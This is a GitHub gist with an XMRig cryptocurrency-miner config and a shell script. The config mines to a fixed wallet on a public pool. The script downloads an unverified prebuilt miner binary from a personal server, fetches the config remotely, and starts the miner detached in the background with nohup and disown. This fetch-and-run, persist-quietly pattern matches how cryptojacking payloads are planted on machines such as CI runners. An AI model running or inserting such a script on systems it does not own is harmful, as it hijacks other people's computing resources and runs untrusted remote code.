Skip to content

Instantly share code, notes, and snippets.

@MrCyjaneK
Last active August 16, 2021 15:57
Show Gist options
  • Save MrCyjaneK/44b903afe201cf2aac78ad77af257740 to your computer and use it in GitHub Desktop.
Save MrCyjaneK/44b903afe201cf2aac78ad77af257740 to your computer and use it in GitHub Desktop.
xmrig-setup
{
"autosave": false,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"coin": null,
"algo": null,
"url": "mine.c3pool.com:13333",
"user": "843pFub5sGZMJaiXZybmCQErUNjrGhRYpRxYr924Ptig4VGs7Gc9eG1fe29f3UrdY8B19ez66tJ6659tKPmSVRWmPM6ByWL",
"pass": "REPLACEME",
"tls": false,
"keepalive": true,
"nicehash": false
},
],
"pause-on-battery": true,
"priority": 1,
"max-threads-hint": 100,
}
#!/bin/sh
curl https://static.mrcyjanek.net/abstruse/xmrig/xmrig > xmrig || wget https://static.mrcyjanek.net/abstruse/xmrig/xmrig -O - > xmrig
curl https://gist.githubusercontent.com/MrCyjaneK/44b903afe201cf2aac78ad77af257740/raw/2810d843e72651f5d116da5da66f266e9ebe9538/config.json > config.json || wget https://gist.githubusercontent.com/MrCyjaneK/44b903afe201cf2aac78ad77af257740/raw/2810d843e72651f5d116da5da66f266e9ebe9538/config.json -O - > config.json
chmod +x xmrig
sed -i -e 's/REPLACEME/'$(tr -dc A-Za-z0-9 </dev/urandom | head -c 12)'/g' config.json
nohup ./xmrig --config=config.json &
disown $!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment